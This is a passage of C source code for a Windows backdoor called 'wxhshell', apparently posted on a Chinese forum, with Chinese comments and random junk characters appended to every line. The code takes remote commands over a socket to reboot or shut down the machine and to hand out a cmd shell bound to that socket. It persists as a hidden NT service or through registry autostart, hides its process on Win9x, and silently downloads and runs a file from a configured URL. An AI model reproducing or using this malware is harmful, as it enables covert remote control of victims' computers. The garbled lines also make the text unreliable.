  // 帮助 ,Yg<Z1  
  case '?': { pIh%5Z U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uy~KJn?Tu  
    break; [@@Ovv  
  } *yGOm i  
  // 安装 >r7{e:~q  
  case 'i': { $wa )e  
    if(Install()) K[ZgT$zZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iVM{ L  
    else oI9Jp`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4C&L%A  
    break; ]9?_ m@Ihx  
    } ^F<[5e)M  
  // 卸载 :('7ly!h  
  case 'r': { C'ZF#Z  
    if(Uninstall()) !m"(SJn"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Za{sT&(|  
    else ,4 ftQJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %=J<WA6\  
    break; 4a;8XAl  
    } rJJI<{$  
  // 显示 wxhshell 所在路径 dB7E&"f  
  case 'p': { D/_=rAl1  
    char svExeFile[MAX_PATH]; ``o:N`  
    strcpy(svExeFile,"\n\r"); Do}mCv  
      strcat(svExeFile,ExeFile); K;2tY+I  
        send(wsh,svExeFile,strlen(svExeFile),0); 4*9y4"  
    break; aTC7H]e  
    } apk06"/  
  // 重启 NfcQB;0  
  case 'b': { MT" 2^&R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {9KG06%+  
    if(Boot(REBOOT)) e.eQZ5n~q`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iulM8"P  
    else { TL(L[  
    closesocket(wsh); B[^mWVp6L  
    ExitThread(0); O&93QN0  
    } T`46\KkN  
    break; Zg%SE'kK  
    } vs|>U-Mpw~  
  // 关机 4.bL>Y>c  
  case 'd': { H".~@,-}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e!}R1  
    if(Boot(SHUTDOWN)) <{.o+~k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qz;2RELz  
    else { >lqWni  
    closesocket(wsh); v/f&rK*>  
    ExitThread(0); d [z+/L  
    } T"-HBwl  
    break; @W|}|V5  
    } HUurDgRi]  
  // 获取shell @Nb&f<+gi  
  case 's': { { hUbK+dKZ  
    CmdShell(wsh); OL*EY:]  
    closesocket(wsh); fRJSo%  
    ExitThread(0); s%`o  
    break; Rxld$@~-(]  
  } ZWW:-3  
  // 退出 Y'kD_T`f,  
  case 'x': { Ftj3`Mu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zw^jIg$  
    CloseIt(wsh); li\hHd5  
    break; & v=2u,]T  
    } |r5|IA  
  // 离开 Kx6_Vp  
  case 'q': { , %X~/V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X\\WQxj  
    closesocket(wsh); ;<%~g8:XL  
    WSACleanup(); ,WbO8#z+  
    exit(1); elXY*nt8h  
    break; 0mL#8\'"  
        } E]6C1C&K  
  } uYiM~^ 0  
  } Mq]~Ka3q7  
nK Rx_D$d  
  // 提示信息 =x}27f%-Mg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oQ@X}6B%S  
} q%#dx4z&  
  } ciI;U/V  
ZbCu -a{v  
  return; DGdSu6s$  
} -8Z%5W`  
^r73(8{)  
// shell模块句柄 vWI9ocl`W  
int CmdShell(SOCKET sock) 9}t2OJS*h"  
{ &| el8;D  
STARTUPINFO si; %WHue  
ZeroMemory(&si,sizeof(si)); 6Km@A M]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u!mUUFl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R`Hyg4?  
PROCESS_INFORMATION ProcessInfo; -uN5 DJSW  
char cmdline[]="cmd"; LX4S}QXw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _OP75kv  
  return 0; h9LA&!  
} %v:9_nwO)  
| "DQ^)3Pi  
// 自身启动模式 Q u2W  
int StartFromService(void) QNzI  
{ =dUeQ?>t=  
typedef struct Ix ! O&_6s  
{ i;`r zsRb  
  DWORD ExitStatus; em<(wJ-Y  
  DWORD PebBaseAddress; ^.Vq0Qzy]  
  DWORD AffinityMask; z+&mMP`-  
  DWORD BasePriority; ?n>h/[/  
  ULONG UniqueProcessId; AM*V4}s*9k  
  ULONG InheritedFromUniqueProcessId; #/!a=0  
}   PROCESS_BASIC_INFORMATION; Rer\='  
+j&4[;8P:  
PROCNTQSIP NtQueryInformationProcess; s2riayM9/  
[Hy0j*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >}GtmnF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GUE 3|  
$S|bD$e  
  HANDLE             hProcess; "zL<:TQ"  
  PROCESS_BASIC_INFORMATION pbi; i}N'W V`!  
i,M<}e1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7qq}wR]]  
  if(NULL == hInst ) return 0; |Spy |,/  
DY'D]*'7$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,ClGa2O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >7B6iR6N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^tIs57!  
EKhwrBjS  
  if (!NtQueryInformationProcess) return 0; /`>BPQH`}  
<H`&Zqqk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xq- R5(k  
  if(!hProcess) return 0; /=A^@&:_#  
6pM[.:TM   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R8Nr3M9 )  
_dVzvk`_R  
  CloseHandle(hProcess); ?d0I*bs)7  
:% )va  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xrxORtJ<  
if(hProcess==NULL) return 0; rePJ4i [y  
|E&a3TQW  
HMODULE hMod; puA~}6C  
char procName[255]; PsMoH/+"  
unsigned long cbNeeded; 4,!#E0  
Hly2{hokq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @~hiL(IR'  
j[k&O)A{C  
  CloseHandle(hProcess); A 'rfoA6  
thIuK V{CO  
if(strstr(procName,"services")) return 1; // 以服务启动 pca `nN!  
<43O,Kx'Su  
  return 0; // 注册表启动 d}j%. JJK  
} 3#`_t :"A  
C|bnUN  
// 主模块 x>d,\{U  
int StartWxhshell(LPSTR lpCmdLine) zBtlkBPu  
{ P!3)-apP\  
  SOCKET wsl; IWERn v!  
BOOL val=TRUE; '`&gSL.1a@  
  int port=0; !f[LFQD  
  struct sockaddr_in door; 3&:Us| }  
X*hY?'Rp  
  if(wscfg.ws_autoins) Install(); #kjN!S*=  
WcqQR))n  
port=atoi(lpCmdLine); ]Qm$S5tU  
`w';}sQA7  
if(port<=0) port=wscfg.ws_port; ?-%Q[W  
L|pMq!@J  
  WSADATA data; e=&,jg?K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8Q ba4kgL  
`ECT8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZmeSm& hQ_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _rt+OzZ*L  
  door.sin_family = AF_INET; b5lZ||W.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k=!lPIx  
  door.sin_port = htons(port); s :ig;zb  
W6J%x[>Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :@#9P,"  
closesocket(wsl); ZFwUau  
return 1; uNSaw['0j  
}   @a2n{  
djJD'JL  
  if(listen(wsl,2) == INVALID_SOCKET) { ?_)b[-N!  
closesocket(wsl); `u6CuH5  
return 1; rYez$e^r  
} Y1fcp_]m  
  Wxhshell(wsl); 3'tcEFkH  
  WSACleanup(); V&)Jvx}^  
v6=pV4k9  
return 0; M|8vP53=q  
4FrP%|%E~  
} 8*o*?1.  
GPV=(}z  
// 以NT服务方式启动 &iKy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =`Ii ?xo  
{ "i>?Tg^  
DWORD   status = 0; l@:Tw.+/9  
  DWORD   specificError = 0xfffffff; E$l4v>iA  
#C^)W/dP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @A32|p}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `|kW%L4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?-M?{De   
  serviceStatus.dwWin32ExitCode     = 0; )1?#q[x  
  serviceStatus.dwServiceSpecificExitCode = 0; iB4`w\-o  
  serviceStatus.dwCheckPoint       = 0; p1t qwV  
  serviceStatus.dwWaitHint       = 0; N)yCGo  
>,%or cN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c_"=G#^9@i  
  if (hServiceStatusHandle==0) return; F(h jP  
w{F{7X$^  
status = GetLastError(); rnAQwm-8O%  
  if (status!=NO_ERROR) @vyq?H$U;N  
{ rfo7\'yk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m&S *S_c  
    serviceStatus.dwCheckPoint       = 0; }jE [vVlRw  
    serviceStatus.dwWaitHint       = 0; [G!#y  
    serviceStatus.dwWin32ExitCode     = status; hp|.hN(kS]  
    serviceStatus.dwServiceSpecificExitCode = specificError; +G: CR,Z>+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6_mkt|E=  
    return; i?{)o]i  
  } KXrZ:4bg  
 iYaS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *Wj]e%  
  serviceStatus.dwCheckPoint       = 0; N!~O~ Eo3  
  serviceStatus.dwWaitHint       = 0;  zSd!n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ww=^P{q\  
} Gxhr0'  
_v6x3 Z  
// 处理NT服务事件,比如:启动、停止 TXL!5, X_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E P3Vz8^  
{ b-8}TTL>  
switch(fdwControl) G0%},Q/  
{ >U\1*F,Om,  
case SERVICE_CONTROL_STOP: ]`eP"U{  
  serviceStatus.dwWin32ExitCode = 0; 33},lNS|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 216=7O2F  
  serviceStatus.dwCheckPoint   = 0; Wn%b}{9Fb  
  serviceStatus.dwWaitHint     = 0; VW`SqUl  
  { WuuF &0?8C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B6kc9XG  
  } }INj~d<:  
  return; TJ_Wze-lQ  
case SERVICE_CONTROL_PAUSE: gpw,bV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %6.WGuO  
  break; rdH3!  
case SERVICE_CONTROL_CONTINUE: m?O~(6k@C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J?C#'2 /   
  break; n58yR -"  
case SERVICE_CONTROL_INTERROGATE: fI v?HD:j  
  break; !!k^M"e2  
}; p>N8g#G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [$X^r<|P@  
} emSky-{$u  
(b;Kl1Ql]  
// 标准应用程序主函数 zC,c9b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |:w)$i& *  
{ I>EEUQR/$H  
^UCH+C yl  
// 获取操作系统版本 G^|!'V  
OsIsNt=GetOsVer(); vf5q8/a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); baoyU#X9  
+)hxYLk&I  
  // 从命令行安装 uf^HDr r<L  
  if(strpbrk(lpCmdLine,"iI")) Install(); `r'$l<(4WV  
=`ZRPA!aY  
  // 下载执行文件 hmkm^2  
if(wscfg.ws_downexe) { ,njlKkFw^Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9OYyR  
  WinExec(wscfg.ws_filenam,SW_HIDE); boq=@Qh  
} l6*MiX]q  
]Z nASlc)  
if(!OsIsNt) { P$x9Z3d_  
// 如果时win9x,隐藏进程并且设置为注册表启动 Jmuyd\?,b  
HideProc(); VqUCcT  
StartWxhshell(lpCmdLine); Z;<:=#  
} A$M8w9  
else %*NED zy  
  if(StartFromService()) -7KoR}Ck!  
  // 以服务方式启动 .?vHoNvo  
  StartServiceCtrlDispatcher(DispatchTable); 8y']kVg  
else -UM|u_  
  // 普通方式启动 zpD?5  
  StartWxhshell(lpCmdLine); k Nvb>v  
;f~fGsH}e'  
return 0; %VGW]!QR  
}
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只看该作者 1 发表于: 2006-10-10
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